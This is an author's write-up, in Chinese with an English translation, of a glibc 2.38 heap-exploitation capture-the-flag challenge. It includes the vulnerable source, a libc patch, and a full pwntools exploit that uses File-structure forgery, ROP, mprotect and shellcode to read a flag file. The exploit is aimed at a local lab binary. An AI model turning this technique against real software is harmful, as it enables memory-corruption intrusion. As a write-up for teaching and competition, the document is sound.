题目
题目源码如下
// gcc houseofsome.c -o houseofsome -Wl,--dynamic-linker=./ld-linux-x86-64.so.2 -Wl,--rpath=./#include<stdio.h>#include <stdlib.h>#include<sys/mman.h>#include <linux/seccomp.h>#include <stdio.h>#include <stdlib.h>#include <sys/prctl.h>
static void install_seccomp() { static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,5,62,0,0,192,32,0,0,0,0,0,0,0,53,0,3,0,0,0,0,64,21,0,2,0,59,0,0,0,21,0,1,0,66,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0}; struct prog { unsigned short len; unsigned char *filter; } rule = { .len = sizeof(filter) >> 3, .filter = filter }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); }}
int init() { size_t tmp1 = stdin; setbuf(tmp1, 0); size_t tmp2 = stdout; setbuf(tmp2, 0); size_t tmp3 = stderr; setbuf(tmp3, 0); install_seccomp();}
size_t getint(){ size_t tmp; scanf("%lld", &tmp); return tmp;}
void readline(char *buf, size_t n) { char tmp; size_t i = 0; for(; i < n && read(0, &tmp, 1) > 0; ++i) { if(tmp == '\n') { buf[i] = 0; return; } buf[i] = tmp; } buf[i] = 0;}
char *name = 0;FILE* dev = 0;int magic = 0;char *pool[2] = {0};int idx = 1;
void change_name(){ char buf[0x100]; size_t size; printf("size> "); size = getint(); if(size <= 0 || size > 0x2000) { puts("wrong."); return; } idx = 1 - idx; name = pool[idx]; if(name) free(name); printf("name> "); name = malloc(size + 1); pool[idx] = name; readline(name, size);}
void change_dev() { char buf[0x100]; if(dev) fclose(dev); size_t op; printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> "); op = getint(); if(op == 1) dev = fopen("/dev/urandom", "rb"); else if(op == 2) dev = fopen("/dev/zero", "rb"); else dev = fopen("/dev/null", "rb"); if(dev == NULL){ puts("open dev error."); return; } setbuf(dev, 0);}
void draw() { char buf[0x100]; if(magic || !dev || !name) { puts("wrong."); return; } size_t addr, length; printf("offset> "); addr = getint(); printf("length> "); length = getint(); if(length < 0 || length > 8) { puts("wrong."); return; } fread(0x114514000+addr, 1, 1, dev); magic = 1;}
void show() { char buf[0x100]; printf("name: %s\n", name); printf("picture: "); write(1, 0x114514000, 0x1000); printf("\n");}
int main(){ init(); size_t choice; if(mmap(0x114514000, 0x1000, PROT_READ | PROT_WRITE, 0x22, -1, 0) == -1){ printf("mmap error.\n"); exit(0); } printf("gift: %p\n", 0x114514000); while (1) { printf("1. name\n2. dev\n3. draw\n4 .show\n5. exit\n> "); choice = getint(); switch (choice){ case 1: change_name(); break; case 2: change_dev(); break; case 3: draw(); break; case 4: show(); break; case 5: exit(0); break; default: printf("invalid option %ld.\n", choice); break; } }
}除了题目代码之外,还自己编译了一个 libc,加上 patch,patch 如下
diff --git a/libio/libioP.h b/libio/libioP.hindex 745278e..b3858d1 100644--- a/libio/libioP.h+++ b/libio/libioP.h@@ -100,7 +100,7 @@ #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) #define _IO_WIDE_JUMPS(THIS) \- _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable+ (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable)) #define _IO_CHECK_WIDE(THIS) \ (_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)可以看到,这里对 wide_data 加上了 patch
编译时的命令如下
CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" ../configure --prefix=/home/csome/houseofsome/glibc-2.38/build/x64 --disable-werror --enable-bind-nowmakemake install详细编译流程见 Tover 师兄写的https://0xffff.one/d/337
简单的分析
通过逆向可以知道,这里泄露 libc 是通过 scanf 的未写入 trick 实现的,但是 ida 观察 init 函数的时候,并不能发现 stdin 等数据放到了栈上,需要 gdb 观察或者阅读汇编才知道。
int init() { size_t tmp1 = stdin; setbuf(tmp1, 0); size_t tmp2 = stdout; setbuf(tmp2, 0); size_t tmp3 = stderr; setbuf(tmp3, 0); install_seccomp();}其次,这里有一次 libc 内任意地址写 \x00 的机会在 draw 功能
void draw() { char buf[0x100]; if(magic || !dev || !name) { puts("wrong."); return; } size_t addr, length; printf("offset> "); addr = getint(); printf("length> "); length = getint(); if(length < 0 || length > 8) { puts("wrong."); return; } fread(0x114514000+addr, 1, 1, dev); magic = 1;}还有一个小 trick——fopen,这个函数会使用 malloc 分配一个 IO_FILE_plus 结构,作为打开文件的管理块,并通过头插法进入 IO_list_all
void change_dev() { char buf[0x100]; if(dev) fclose(dev); size_t op; printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> "); op = getint(); if(op == 1) dev = fopen("/dev/urandom", "rb"); else if(op == 2) dev = fopen("/dev/zero", "rb"); else dev = fopen("/dev/null", "rb"); if(dev == NULL){ puts("open dev error."); return; } setbuf(dev, 0);}总结一下
- 已知 Libc 地址
- 一次 libc 内任意地址写 1 字节 \x00,off by null
- fopen 能使得 IO_list_all 内写入 heap 地址
- 由于 wide_data 的 vtable 加入了 check,故不能使用 apple2 的链条
House of Some
详细的原理见https://blog.csome.cc/p/house-of-some/
其使用的方法是
- 已知 glibc 基地址
- 可控的已知地址(可写入内容构造 fake file)
- 需要一次 libc 内任意地址写可控地址
- 程序能正常退出或者通过 exit () 退出
其中,条件 1 和 4 程序中可以直接满足,条件 3 可以通过 fopen 和一次 off by null 完成,条件 2 可以被弱化,并不需要已知,只需要可控即可
那么在构造任意地址写的 fake_file 的过程中,需要 wide_data 指针,这个指针需要在可控地址位置 —— 堆内,但是我们并不能泄露堆地址
fake_file_read = flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base 0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno 0x82: b"\x00", # _vtable_offset 0xc0: 2, # _mode 0xa0: wide_data的地址, # _wide_data 0x68: 下一个调用的fake file地址, # _chain 0xd8: _IO_wfile_jumps, # vtable}, filler=b"\x00")
fake_wide_data = flat({ 0xe0: _IO_file_jumps - 0x48, 0x18: 0, 0x20: 1, 0x30: 0,}, filler=b"\x00")这里需要使用 largebin 的 next size 指针残留,构造出一个合法的 wide_data 地址
风水脚本如下
name(0x2b0-1, flat({ 0x260: { 0x18: 0, 0x20: 1, 0x30: 0, }}, filler=b"\x00") + b"\n")name(0x1f00-0x730-1, b"aa" + b"\n")name(0x400-1, b"aa" + b"\n")name(0x590-1, flat({ 0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48}, filler=b"\x00") + b"\n")name(0x50-1, b"aa" + b"\n")name(0x600-1, b"aa" + b"\n")name(0x610-1, b"aa" + b"\n")name(0x300-1, b"aa" + b"\n")name(0x2f0-1, b"aa" + b"\n")name(0x360-1, b"aa" + b"\n")name(0x210-1, b"aa" + b"\n")最后伪造,这里中间需要使用指针残留,所以伪造 fake_file 的时候,需要分开
environ = libc.symbols['__environ']name(0xb0-1, flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base 0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno 0x68: environ+8, # _chain 0x82: b"\x00", # _vtable_offset 0x88: environ-0x10, 0xa0: b"\n"}, filler=b"\x00"))name(0x20-1, flat({ 0xc0-0x20-0xa0: 2, # _mode 0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00")[:-1] + b"\n")最后 houseofsome 一把梭
完整 exp
House_of_some 工具见https://github.com/CsomePro/House-of-Some
from pwn import *from House_of_some import HouseOfSome
context.log_level = 'debug'context.arch = 'amd64'
shellcode = asm(f"""mov rax, {u64(b"./flag" + bytearray([0,0]))}push raxmov rdi, rspmov rsi, 0mov rax, 2syscall
mov rdi, raxmov rsi, rspmov rdx, 0x40mov rax, 0syscall
mov rdi, 1mov rsi, rspmov rdx, 0x40mov rax, 1syscall""")
io = process("./houseofsome")# io = remote("127.0.0.1", 12000)tob = lambda x: str(x).encode()
def name(size, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"size> ", tob(size)) io.sendafter(b"name> ", content)
def dev(idx): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"dev> ", tob(idx))
def draw(offset, length): io.sendlineafter(b"> ", b"3") io.sendlineafter(b"offset> ", tob(offset)) io.sendlineafter(b"length> ", tob(length))
def leave(): io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"> ", b"-")io.recvuntil(b"invalid option ")leak = int(io.recvuntil(b".", drop=True))log.success(f"leak : {leak:#x}")libc_base = leak - 0x2205c0log.success(f"libc_base : {libc_base:#x}")
libc = ELF("./libc.so.6", checksec=None)libc.address = libc_base
name(0x2b0-1, flat({ 0x260: { 0x18: 0, 0x20: 1, 0x30: 0, }}, filler=b"\x00") + b"\n")name(0x1f00-0x730-1, b"aa" + b"\n")name(0x400-1, b"aa" + b"\n")name(0x590-1, flat({ 0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48}, filler=b"\x00") + b"\n")name(0x50-1, b"aa" + b"\n")name(0x600-1, b"aa" + b"\n")name(0x610-1, b"aa" + b"\n")name(0x300-1, b"aa" + b"\n")name(0x2f0-1, b"aa" + b"\n")name(0x360-1, b"aa" + b"\n")name(0x210-1, b"aa" + b"\n")
environ = libc.symbols['__environ']
name(0xb0-1, flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base 0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno 0x68: environ+8, # _chain 0x82: b"\x00", # _vtable_offset 0x88: environ-0x10, 0xa0: b"\n"}, filler=b"\x00"))
name(0x20-1, flat({ 0xc0-0x20-0xa0: 2, # _mode 0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00")[:-1] + b"\n")
dev(2)draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)leave()
hos = HouseOfSome(libc, environ+8, environ-0x10)stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)log.success(f"stack : {stack:#x}")
pop_rdx = 0x0000000000096272 + libc_base
rop = ROP(libc)rop.base = stackrop.raw(pop_rdx)rop.raw(7)rop.call('mprotect', [stack & (~0xfff), 0x1000])rop.raw(stack + 0x40)log.info(rop.dump())rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"io.sendline(rop_chain + shellcode)
context.log_level = 'info'io.interactive()碎碎念
出题的时候有些疏忽,忘记了 main_arena 也在 libc 内,导致可以 off by null 修改 TopChunk,使得最后能够控制堆结构
但是这个方法较为复杂,是一个小小的非预期,在比赛还有 30 个小时多的时候放出,在 14 小时之后出现第一血,最后只有 5 解出,算是预期之内吧
接下来如果还有机会,我还会带来更加有趣的利用手法的题目,敬请期待吧
Translate by Kimi-K3
The Challenge
The challenge source code is as follows
// gcc houseofsome.c -o houseofsome -Wl,--dynamic-linker=./ld-linux-x86-64.so.2 -Wl,--rpath=./#include<stdio.h>#include <stdlib.h>#include<sys/mman.h>#include <linux/seccomp.h>#include <stdio.h>#include <stdlib.h>#include <sys/prctl.h>
static void install_seccomp() { static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,5,62,0,0,192,32,0,0,0,0,0,0,0,53,0,3,0,0,0,0,64,21,0,2,0,59,0,0,0,21,0,1,0,66,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0}; struct prog { unsigned short len; unsigned char *filter; } rule = { .len = sizeof(filter) >> 3, .filter = filter }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); }}
int init() { size_t tmp1 = stdin; setbuf(tmp1, 0); size_t tmp2 = stdout; setbuf(tmp2, 0); size_t tmp3 = stderr; setbuf(tmp3, 0); install_seccomp();}
size_t getint(){ size_t tmp; scanf("%lld", &tmp); return tmp;}
void readline(char *buf, size_t n) { char tmp; size_t i = 0; for(; i < n && read(0, &tmp, 1) > 0; ++i) { if(tmp == '\n') { buf[i] = 0; return; } buf[i] = tmp; } buf[i] = 0;}
char *name = 0;FILE* dev = 0;int magic = 0;char *pool[2] = {0};int idx = 1;
void change_name(){ char buf[0x100]; size_t size; printf("size> "); size = getint(); if(size <= 0 || size > 0x2000) { puts("wrong."); return; } idx = 1 - idx; name = pool[idx]; if(name) free(name); printf("name> "); name = malloc(size + 1); pool[idx] = name; readline(name, size);}
void change_dev() { char buf[0x100]; if(dev) fclose(dev); size_t op; printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> "); op = getint(); if(op == 1) dev = fopen("/dev/urandom", "rb"); else if(op == 2) dev = fopen("/dev/zero", "rb"); else dev = fopen("/dev/null", "rb"); if(dev == NULL){ puts("open dev error."); return; } setbuf(dev, 0);}
void draw() { char buf[0x100]; if(magic || !dev || !name) { puts("wrong."); return; } size_t addr, length; printf("offset> "); addr = getint(); printf("length> "); length = getint(); if(length < 0 || length > 8) { puts("wrong."); return; } fread(0x114514000+addr, 1, 1, dev); magic = 1;}
void show() { char buf[0x100]; printf("name: %s\n", name); printf("picture: "); write(1, 0x114514000, 0x1000); printf("\n");}
int main(){ init(); size_t choice; if(mmap(0x114514000, 0x1000, PROT_READ | PROT_WRITE, 0x22, -1, 0) == -1){ printf("mmap error.\n"); exit(0); } printf("gift: %p\n", 0x114514000); while (1) { printf("1. name\n2. dev\n3. draw\n4 .show\n5. exit\n> "); choice = getint(); switch (choice){ case 1: change_name(); break; case 2: change_dev(); break; case 3: draw(); break; case 4: show(); break; case 5: exit(0); break; default: printf("invalid option %ld.\n", choice); break; } }
}In addition to the challenge code, a custom libc was compiled with a patch applied. The patch is as follows
diff --git a/libio/libioP.h b/libio/libioP.hindex 745278e..b3858d1 100644--- a/libio/libioP.h+++ b/libio/libioP.h@@ -100,7 +100,7 @@ #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) #define _IO_WIDE_JUMPS(THIS) \- _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable+ (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable)) #define _IO_CHECK_WIDE(THIS) \ (_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)As you can see, a patch was added here for wide_data
The compilation command is as follows
CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" ../configure --prefix=/home/csome/houseofsome/glibc-2.38/build/x64 --disable-werror --enable-bind-nowmakemake installFor the detailed compilation process, see https://0xffff.one/d/337 written by Tover
A Quick Analysis
From reversing, we can see that the libc leak here is achieved via the scanf-not-writing trick. However, when inspecting the init function in IDA, you can’t tell that values like stdin are placed on the stack — you need to observe it with gdb or read the assembly to figure that out.
int init() { size_t tmp1 = stdin; setbuf(tmp1, 0); size_t tmp2 = stdout; setbuf(tmp2, 0); size_t tmp3 = stderr; setbuf(tmp3, 0); install_seccomp();}Second, the draw function gives us a one-time chance to write \x00 to an arbitrary address within libc
void draw() { char buf[0x100]; if(magic || !dev || !name) { puts("wrong."); return; } size_t addr, length; printf("offset> "); addr = getint(); printf("length> "); length = getint(); if(length < 0 || length > 8) { puts("wrong."); return; } fread(0x114514000+addr, 1, 1, dev); magic = 1;}There is also a small trick — fopen. This function uses malloc to allocate an IO_FILE_plus structure as the control block for the opened file, and inserts it at the head of IO_list_all
void change_dev() { char buf[0x100]; if(dev) fclose(dev); size_t op; printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> "); op = getint(); if(op == 1) dev = fopen("/dev/urandom", "rb"); else if(op == 2) dev = fopen("/dev/zero", "rb"); else dev = fopen("/dev/null", "rb"); if(dev == NULL){ puts("open dev error."); return; } setbuf(dev, 0);}To summarize
- The libc address is known
- One arbitrary 1-byte \x00 write within libc, i.e. off by null
- fopen can write a heap address into IO_list_all
- Since a check was added for the wide_data vtable, the apple2 chain cannot be used
House of Some
For the detailed principle, see https://blog.csome.cc/p/house-of-some/
The method requires
- The glibc base address is known
- A controllable, known address (where you can write a fake file)
- One arbitrary write of a controllable address within libc
- The program can exit normally or via exit()
Among these, conditions 1 and 4 are directly satisfied by the program; condition 3 can be achieved through fopen plus a single off by null; and condition 2 can be weakened — the address doesn’t need to be known, only controllable
So when crafting the fake_file for the arbitrary write, we need a wide_data pointer, and that pointer must point to a controllable location — inside the heap. However, we cannot leak a heap address
fake_file_read = flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: start address of the arbitrary write, # _IO_buf_base 0x40: end address of the arbitrary write, # _IO_buf_end
0x70: 0, # _fileno 0x82: b"\x00", # _vtable_offset 0xc0: 2, # _mode 0xa0: address of wide_data, # _wide_data 0x68: address of the next fake file to call, # _chain 0xd8: _IO_wfile_jumps, # vtable}, filler=b"\x00")
fake_wide_data = flat({ 0xe0: _IO_file_jumps - 0x48, 0x18: 0, 0x20: 1, 0x30: 0,}, filler=b"\x00")Here we need to exploit the residual nextsize pointer of a largebin chunk to construct a valid wide_data address
PS: You can also use https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more — with that improvement, wide_data is no longer needed
The heap feng shui script is as follows
name(0x2b0-1, flat({ 0x260: { 0x18: 0, 0x20: 1, 0x30: 0, }}, filler=b"\x00") + b"\n")name(0x1f00-0x730-1, b"aa" + b"\n")name(0x400-1, b"aa" + b"\n")name(0x590-1, flat({ 0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48}, filler=b"\x00") + b"\n")name(0x50-1, b"aa" + b"\n")name(0x600-1, b"aa" + b"\n")name(0x610-1, b"aa" + b"\n")name(0x300-1, b"aa" + b"\n")name(0x2f0-1, b"aa" + b"\n")name(0x360-1, b"aa" + b"\n")name(0x210-1, b"aa" + b"\n")Finally, the fake structures. Since we need to rely on residual pointers in between, the fake_file has to be forged in two separate parts
environ = libc.symbols['__environ']name(0xb0-1, flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base 0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno 0x68: environ+8, # _chain 0x82: b"\x00", # _vtable_offset 0x88: environ-0x10, 0xa0: b"\n"}, filler=b"\x00"))name(0x20-1, flat({ 0xc0-0x20-0xa0: 2, # _mode 0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00")[:-1] + b"\n")Finally, fire off houseofsome in one shot
Full Exploit
For the House_of_some tool, see https://github.com/CsomePro/House-of-Some
from pwn import *from House_of_some import HouseOfSome
context.log_level = 'debug'context.arch = 'amd64'
shellcode = asm(f"""mov rax, {u64(b"./flag" + bytearray([0,0]))}push raxmov rdi, rspmov rsi, 0mov rax, 2syscall
mov rdi, raxmov rsi, rspmov rdx, 0x40mov rax, 0syscall
mov rdi, 1mov rsi, rspmov rdx, 0x40mov rax, 1syscall""")
io = process("./houseofsome")# io = remote("127.0.0.1", 12000)tob = lambda x: str(x).encode()
def name(size, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"size> ", tob(size)) io.sendafter(b"name> ", content)
def dev(idx): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"dev> ", tob(idx))
def draw(offset, length): io.sendlineafter(b"> ", b"3") io.sendlineafter(b"offset> ", tob(offset)) io.sendlineafter(b"length> ", tob(length))
def leave(): io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"> ", b"-")io.recvuntil(b"invalid option ")leak = int(io.recvuntil(b".", drop=True))log.success(f"leak : {leak:#x}")libc_base = leak - 0x2205c0log.success(f"libc_base : {libc_base:#x}")
libc = ELF("./libc.so.6", checksec=None)libc.address = libc_base
name(0x2b0-1, flat({ 0x260: { 0x18: 0, 0x20: 1, 0x30: 0, }}, filler=b"\x00") + b"\n")name(0x1f00-0x730-1, b"aa" + b"\n")name(0x400-1, b"aa" + b"\n")name(0x590-1, flat({ 0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48}, filler=b"\x00") + b"\n")name(0x50-1, b"aa" + b"\n")name(0x600-1, b"aa" + b"\n")name(0x610-1, b"aa" + b"\n")name(0x300-1, b"aa" + b"\n")name(0x2f0-1, b"aa" + b"\n")name(0x360-1, b"aa" + b"\n")name(0x210-1, b"aa" + b"\n")
environ = libc.symbols['__environ']
name(0xb0-1, flat({ 0x00: 0, # _flags 0x20: 0, # _IO_write_base 0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base 0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno 0x68: environ+8, # _chain 0x82: b"\x00", # _vtable_offset 0x88: environ-0x10, 0xa0: b"\n"}, filler=b"\x00"))
name(0x20-1, flat({ 0xc0-0x20-0xa0: 2, # _mode 0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00")[:-1] + b"\n")
dev(2)draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)leave()
hos = HouseOfSome(libc, environ+8, environ-0x10)stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)log.success(f"stack : {stack:#x}")
pop_rdx = 0x0000000000096272 + libc_base
rop = ROP(libc)rop.base = stackrop.raw(pop_rdx)rop.raw(7)rop.call('mprotect', [stack & (~0xfff), 0x1000])rop.raw(stack + 0x40)log.info(rop.dump())rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"io.sendline(rop_chain + shellcode)
context.log_level = 'info'io.interactive()Afterthoughts
I was a bit careless when designing the challenge — I forgot that main_arena is also inside libc, which made it possible to modify the TopChunk via off by null and ultimately control the heap layout
That approach is fairly complex though, so it was a small unintended solution. The challenge was released with more than 30 hours remaining in the competition, got its first blood 14 hours later, and ended with only 5 solves — which is within my expectations
If I get the chance, I’ll bring even more interesting exploitation challenges in the future. Stay tuned!